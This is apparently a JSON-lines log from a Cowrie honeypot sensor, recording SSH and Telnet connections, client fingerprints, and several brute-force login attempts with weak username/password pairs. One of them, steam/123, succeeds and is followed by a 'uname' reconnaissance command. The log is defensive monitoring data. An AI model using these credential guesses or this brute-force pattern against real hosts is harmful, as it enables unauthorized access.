cdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.155673Z","src_ip":"176.65.132.254","session":"38adde5b1f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc2901dd8c7","protocol":"telnet","message":"New connection: 136.144.139.78:38388 (159.203.135.109:23) [session: cfc2901dd8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.237253Z"}
{"eventid":"cowrie.session.closed","duration":34.94226551055908,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.537245Z","src_ip":"62.210.97.77","session":"5ec4ebcac2c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.595763Z","src_ip":"176.65.132.254","session":"38adde5b1f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e7ac734f95","protocol":"telnet","message":"New connection: 65.60.27.33:44622 (10.17.0.5:23) [session: 99e7ac734f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.988185Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":38396,"dst_ip":"159.203.135.109","dst_port":23,"session":"dedb45a5de5d","protocol":"telnet","message":"New connection: 136.144.139.78:38396 (159.203.135.109:23) [session: dedb45a5de5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:01.003448Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:01.680993Z","src_ip":"176.65.132.254","session":"38adde5b1f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.641788959503174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:02.074154Z","src_ip":"136.144.139.78","session":"d8568042cc9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12755298614502,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:02.156933Z","src_ip":"62.210.97.77","session":"17ea9f25e34c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3811a73a0e3","protocol":"telnet","message":"New connection: 136.144.139.78:38412 (159.203.135.109:23) [session: e3811a73a0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:02.224833Z"}
{"eventid":"cowrie.session.closed","duration":1.7053301334381104,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:02.693326Z","src_ip":"65.60.27.33","session":"99e7ac734f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.809285402297974,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:02.698666Z","src_ip":"65.60.27.33","session":"227ee3bf427c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25526833534241,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:03.152716Z","src_ip":"62.210.97.77","session":"01a55eda8179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f67b467893ed","protocol":"telnet","message":"New connection: 134.209.8.29:33790 (159.203.135.109:23) [session: f67b467893ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:03.271471Z"}
{"eventid":"cowrie.session.closed","duration":0.00775456428527832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:03.279073Z","src_ip":"134.209.8.29","session":"f67b467893ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43226480484009,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:03.488945Z","src_ip":"62.210.97.77","session":"10aa8d117aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53490,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a96a5a0df43","protocol":"ssh","message":"New connection: 176.65.132.254:53490 (10.17.0.5:22) [session: 1a96a5a0df43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:04.036779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:04.042333Z","src_ip":"176.65.132.254","session":"1a96a5a0df43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:04.137554Z","src_ip":"176.65.132.254","session":"1a96a5a0df43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48652,"dst_ip":"10.17.0.5","dst_port":23,"session":"641ac5fe7c22","protocol":"telnet","message":"New connection: 65.60.27.33:48652 (10.17.0.5:23) [session: 641ac5fe7c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:04.293693Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:04.643187Z","src_ip":"176.65.132.254","session":"1a96a5a0df43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.986785888671875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:04.868271Z","src_ip":"62.210.97.77","session":"e516d1c28983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.76347875595093,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:05.027004Z","src_ip":"65.60.27.33","session":"11a6f6d48bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49676,"dst_ip":"10.17.0.5","dst_port":23,"session":"01de3c91b99c","protocol":"telnet","message":"New connection: 65.60.27.33:49676 (10.17.0.5:23) [session: 01de3c91b99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:05.145662Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49724,"dst_ip":"10.17.0.5","dst_port":23,"session":"2186fb929193","protocol":"telnet","message":"New connection: 65.60.27.33:49724 (10.17.0.5:23) [session: 2186fb929193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:05.248974Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:05.737231Z","src_ip":"176.65.132.254","session":"1a96a5a0df43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45042,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7aa431e867","protocol":"telnet","message":"New connection: 62.210.97.77:45042 (10.17.0.5:23) [session: fa7aa431e867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:06.040647Z"}
{"eventid":"cowrie.session.closed","duration":34.65778970718384,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:06.181349Z","src_ip":"62.210.97.77","session":"3348a91eab6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.53984761238098,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:06.245658Z","src_ip":"62.210.97.77","session":"0141f068f1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27871561050415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:07.242995Z","src_ip":"136.144.139.78","session":"054c10bd52e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151070833206177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:07.314841Z","src_ip":"136.144.139.78","session":"1caa7743fa91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.37121272087097,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:07.360741Z","src_ip":"65.60.27.33","session":"d03a551e6393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53504,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c83b33b7e19","protocol":"ssh","message":"New connection: 176.65.132.254:53504 (10.17.0.5:22) [session: 6c83b33b7e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.394854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.399447Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.480839Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.4462826251983643,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.591815Z","src_ip":"65.60.27.33","session":"01de3c91b99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.33890223503113,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.664805Z","src_ip":"65.60.27.33","session":"8e9496f8ef3a","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.724489Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.936705Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:08.940127Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:09.041897Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:09.047098Z","src_ip":"176.65.132.254","session":"6c83b33b7e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60890,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe9417355ee","protocol":"telnet","message":"New connection: 62.210.97.77:60890 (10.17.0.5:23) [session: cfe9417355ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:09.314860Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60896,"dst_ip":"10.17.0.5","dst_port":23,"session":"de8578eb9567","protocol":"telnet","message":"New connection: 62.210.97.77:60896 (10.17.0.5:23) [session: de8578eb9567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:09.565349Z"}
{"eventid":"cowrie.session.closed","duration":35.86578679084778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:10.371943Z","src_ip":"62.210.97.77","session":"2a9d5ae96ee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.797654151916504,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:11.046495Z","src_ip":"65.60.27.33","session":"2186fb929193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49700,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d028eab3b14","protocol":"ssh","message":"New connection: 176.65.132.254:49700 (10.17.0.5:22) [session: 7d028eab3b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:12.380721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:12.386374Z","src_ip":"176.65.132.254","session":"7d028eab3b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60900,"dst_ip":"10.17.0.5","dst_port":23,"session":"add2bce6f304","protocol":"telnet","message":"New connection: 62.210.97.77:60900 (10.17.0.5:23) [session: add2bce6f304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:12.445349Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:12.472648Z","src_ip":"176.65.132.254","session":"7d028eab3b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:12.723452Z","src_ip":"176.65.132.254","session":"7d028eab3b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.38443374633789,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:12.728769Z","src_ip":"62.210.97.77","session":"13d1b6d6012e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50226,"dst_ip":"159.203.135.109","dst_port":23,"session":"c74b1cfaf5ab","protocol":"telnet","message":"New connection: 134.209.8.29:50226 (159.203.135.109:23) [session: c74b1cfaf5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:13.680132Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:13.807230Z","src_ip":"176.65.132.254","session":"7d028eab3b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60910,"dst_ip":"10.17.0.5","dst_port":23,"session":"28969a036299","protocol":"telnet","message":"New connection: 62.210.97.77:60910 (10.17.0.5:23) [session: 28969a036299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:14.339308Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41450,"dst_ip":"10.17.0.5","dst_port":23,"session":"4517d971e88b","protocol":"telnet","message":"New connection: 38.54.119.93:41450 (10.17.0.5:23) [session: 4517d971e88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:14.856260Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60926,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89eb3cd0b3b","protocol":"telnet","message":"New connection: 62.210.97.77:60926 (10.17.0.5:23) [session: a89eb3cd0b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:15.386135Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60942,"dst_ip":"10.17.0.5","dst_port":23,"session":"982cf321d217","protocol":"telnet","message":"New connection: 62.210.97.77:60942 (10.17.0.5:23) [session: 982cf321d217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:15.721499Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49712,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78eebf79305","protocol":"ssh","message":"New connection: 176.65.132.254:49712 (10.17.0.5:22) [session: a78eebf79305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:16.454558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:16.540598Z","src_ip":"176.65.132.254","session":"a78eebf79305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:16.544733Z","src_ip":"176.65.132.254","session":"a78eebf79305","protocol":"ssh"}
